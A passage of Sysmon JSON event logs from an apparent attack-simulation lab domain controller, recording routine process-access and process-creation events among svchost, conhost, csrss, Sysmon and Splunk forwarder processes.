11:52:07.904","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2880,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.904\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4067-5F2D-0000-0010BAE20400}\r\nTargetProcessId: 3764\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.904","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4067-5F2D-0000-0010BAE20400}","TargetProcessId":"3764","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2881,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.060\r\nSourceProcessGUID: {90617006-4067-5F2D-0000-0010BAE20400}\r\nSourceProcessId: 3764\r\nSourceThreadId: 3292\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.060","SourceProcessGUID":"{90617006-4067-5F2D-0000-0010BAE20400}","SourceProcessId":"3764","SourceThreadId":"3292","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2882,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.468\r\nProcessGuid: {90617006-4068-5F2D-0000-001087E40400}\r\nProcessId: 3948\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Registry monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-regmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.468","ProcessGuid":"{90617006-4068-5F2D-0000-001087E40400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","FileVersion":"8.0.2","Description":"Registry monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-regmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2883,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4068-5F2D-0000-001087E40400}\r\nTargetProcessId: 3948\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4068-5F2D-0000-001087E40400}","TargetProcessId":"3948","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2884,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4068-5F2D-0000-001087E40400}\r\nTargetProcessId: 3948\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4068-5F2D-0000-001087E40400}","TargetProcessId":"3948","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2885,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:08.466","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:08.466\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 